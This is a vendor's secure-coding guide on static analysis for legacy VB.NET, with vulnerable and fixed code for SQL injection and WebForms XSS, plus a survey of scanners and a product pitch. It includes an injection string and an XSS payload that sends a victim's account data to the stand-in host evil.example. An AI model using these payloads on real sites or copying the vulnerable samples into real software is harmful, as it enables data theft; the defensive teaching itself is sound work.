GraphNode
Back to all guides
SAST

Static Analysis for VB.NET: Legacy Enterprise Code That Still Runs the Backoffice

| 8 min read |GraphNode Research

Microsoft's official position on Visual Basic .NET, restated most recently in the .NET team's 2023 language strategy update, is that VB.NET remains a fully supported .NET language but is in maintenance mode — no new language features have shipped since the VB 16 release in 2020, and the team will keep the compiler current with each new .NET version without adding to the surface area. The practical consequence is that almost every VB.NET line in production today was written between 2003 and 2015, sits inside an HR system, payroll engine, claims-processing application, or ASP.NET WebForms backoffice tool, and processes exactly the data — employee records, customer PII, financial transactions — that auditors care about. These applications are routinely skipped in modernization cycles because the team that wrote them has moved on, the framework is in maintenance, and the budget conversation is always about replacing them rather than securing them. The result is a sizable inventory of business-critical .NET code that is under-scanned relative to its risk surface, and a security team that has to find a SAST vendor still willing to parse a language whose tooling vendors keep quietly dropping.

This guide walks the VB.NET vulnerability landscape, shows two vulnerable-to-fixed code transformations on patterns that genuinely ship in legacy enterprise codebases, and surveys the detection options that still cover the language. If you are evaluating VB.NET static analysis for an inherited backoffice estate, the floor is straightforward: every serious vbnet SAST tool should catch the patterns below, and the procurement-relevant question is which engines still list VB.NET as a supported language at all.

The VB.NET Vulnerability Landscape

VB.NET compiles to the same Common Intermediate Language as C# and runs on the same .NET Framework or .NET runtime, so it inherits the entire .NET vulnerability catalog without modification. Insecure deserialization through BinaryFormatter is the high-severity headline, surviving in legacy WCF endpoints, ASP.NET ViewState payloads, and Remoting code paths nobody has revisited since the application went into maintenance. SQL injection through raw SqlCommand with string concatenation is the most common finding by volume — VB.NET tutorials from the early 2000s used this shape exclusively, and the resulting code is still in production. ASP.NET WebForms ViewState tampering shows up wherever ViewStateUserKey was never set on a Page base class, leaving the serialized state vulnerable to replay and tampering. XSS in Response.Write of Request.QueryString values is the WebForms equivalent of the Razor @Html.Raw mistake. Command injection through the legacy Shell() function or Process.Start with a single concatenated string reaches the Windows shell on any value an attacker influences. Weak cryptography appears in the form of MD5CryptoServiceProvider, DESCryptoServiceProvider, and AES configured in ECB mode through System.Security.Cryptography defaults. Hardcoded connection strings in Web.config committed to source control remain a perennial finding on every audit.

Past the shared .NET catalog, VB.NET has historical patterns the C# side never had. Late binding through the Object type with Option Strict Off lets the runtime resolve method calls dynamically, which makes taint flow harder to reason about and frequently hides reflection-driven invocations. The legacy On Error Resume Next style, ported from Classic VB and still tolerated by the compiler, silently swallows exceptions — including security exceptions that signal a failed authorization check or a deserialization failure — so a vulnerable code path looks like a successful operation to the caller. The Microsoft.VisualBasic.FileIO namespace ships compatibility shims that wrap modern System.IO APIs but skip some of the validation C# idioms encourage; path traversal findings cluster around these shims.

SQL Injection: The SqlCommand Pattern Backoffice Code Still Ships

The vulnerable construction is the canonical VB.NET shape from a decade of tutorials — a request value flows into a SqlCommand through string concatenation with the & operator, and the database driver executes whatever the attacker supplied:

' VULNERABLE
Imports System.Data.SqlClient

Public Function FindEmployee(conn As SqlConnection, employeeId As String) As SqlDataReader
    Dim sql As String = "SELECT id, ssn, salary FROM employees WHERE employee_id = '" & employeeId & "'"
    Dim cmd As New SqlCommand(sql, conn)
    Return cmd.ExecuteReader()
End Function

Pass employeeId as ' OR '1'='1 and the query returns every row in the employees table, social security numbers and salaries included. The fix is to bind the value as a parameter, which keeps the query plan and the data on opposite sides of the parser:

' FIXED
Imports System.Data
Imports System.Data.SqlClient

Public Function FindEmployee(conn As SqlConnection, employeeId As String) As SqlDataReader
    Dim sql As String = "SELECT id, ssn, salary FROM employees WHERE employee_id = @employeeId"
    Dim cmd As New SqlCommand(sql, conn)
    cmd.Parameters.Add("@employeeId", SqlDbType.NVarChar, 32).Value = employeeId
    Return cmd.ExecuteReader()
End Function

SqlParameter sends the SQL template to the database first and binds the parameter as a typed value the parser never re-interprets as syntax. The same discipline applies to every OleDbCommand, OdbcCommand, and OracleCommand instance assembled by hand through ADO.NET, and to the older RecordSet and ADODB.Command wrappers that survive in VB.NET code ported up from Classic VB. SAST data flow analysis traces the request value from the WebForms event handler or page-level Request access into the ExecuteReader sink, flagging the path the moment string concatenation breaks the parameterization.

XSS in WebForms: Response.Write of Request.QueryString

ASP.NET WebForms applications written in VB.NET frequently render user-controlled values straight into the HTTP response. The vulnerable shape predates Razor and the modern HTML encoding defaults, and it survives because the framework places no implicit boundary between the request value and the rendered markup:

' VULNERABLE
Public Class SearchPage
    Inherits System.Web.UI.Page

    Protected Sub Page_Load(sender As Object, e As EventArgs) Handles Me.Load
        Dim term As String = Request.QueryString("q")
        Response.Write("<p>You searched for: " & term & "</p>")
    End Sub
End Class

Pass q as <script>fetch('/api/me').then(r => r.json()).then(d => navigator.sendBeacon('//evil.example/x', JSON.stringify(d)))</script> and the script executes on every visitor's session in the application's origin. The fix is to encode the value through Server.HtmlEncode (or the equivalent HttpUtility.HtmlEncode) before it reaches the response stream, which converts the angle brackets to their entity form and breaks the script-tag boundary the browser parser would otherwise recognize:

' FIXED
Public Class SearchPage
    Inherits System.Web.UI.Page

    Protected Sub Page_Load(sender As Object, e As EventArgs) Handles Me.Load
        Dim term As String = Request.QueryString("q")
        Response.Write("<p>You searched for: " & Server.HtmlEncode(term) & "</p>")
    End Sub
End Class

The encoder produces HTML-context output; for attribute and JavaScript contexts, switch to AntiXssEncoder.HtmlAttributeEncode and AntiXssEncoder.JavaScriptStringEncode from the AntiXSS library Microsoft folded into System.Web. The deeper fix on a WebForms estate is to set ValidateRequest="true" at the page or application level (it is the default but routinely disabled), enable ViewStateUserKey on a shared base Page class, and prefer server controls (asp:Label with Text) over Response.Write so the framework's own encoding does the work. SAST recognizes the taint path from Request.QueryString, Request.Form, and Request.Cookies into Response.Write, Response.Output.Write, and inline expression syntax (<%= %>) in the ASPX markup that compiles to the same code path.

Detection: Which Engines Still Cover VB.NET

The detection story for VB.NET divides into two camps — engines that still parse the language and engines that quietly stopped. Microsoft's Roslyn analyzers remain the baseline: the compiler-platform analyzers built into the .NET SDK process VB.NET source through the same syntax and semantic APIs as C#, and the Microsoft.CodeAnalysis.NetAnalyzers package ships CA5xxx security rules covering weak crypto, deserialization, and XML parser configuration that fire on VB.NET projects without additional configuration. SonarQube publishes a dedicated VB.NET plugin with rule coverage that mirrors the C# plugin, and the SonarQube Server licence covers both languages from the same project. On the commercial side, Checkmarx, Fortify, Veracode, and GraphNode all explicitly list VB.NET in their supported-language matrices and ship the same data flow tracking depth the C# side gets. Several modern SAST engines that started after 2018 quietly omit VB.NET from their language list — being on a vendor's supported-language matrix that still parses VB.NET is a procurement-relevant differentiator that narrows the shortlist on day one.

Where GraphNode SAST Fits

GraphNode SAST lists VB.NET as a first-class language in its 13+ supported-language matrix alongside C#, with Roslyn-backed data flow tracking on the patterns this guide describes — taint into ADO.NET sinks, deserialization on legacy formatters, Response.Write of unencoded request values, weak crypto, and hardcoded connection strings in Web.config. The CI integration gates the pull request before the build leaves the developer's branch, which matters most on maintenance-mode codebases. The companion C# static analysis guide covers the rest of the .NET family, and the SAST Tools Buyer's Guide compares ten platforms.

Closing

VB.NET maintenance code is exactly the kind of asset where a single forgotten ASP.NET WebForms endpoint can leak years of customer data. The applications were written before parameterized queries became reflexive, before HTML encoding became a framework default, and before deserialization was understood as an RCE primitive — and they keep shipping those patterns because the team that owns them is small, the modernization budget is always next year, and the SAST vendor list keeps shrinking. The teams that close out VB.NET findings pick a scanner still committed to the language, wire it into the CI gate, and treat the legacy backoffice estate with the same finding-blocks-the-build discipline the new C# microservices already get.

GraphNode SAST traces taint flow through VB.NET and .NET codebases on the diff that introduced the bug — request a demo.

Request Demo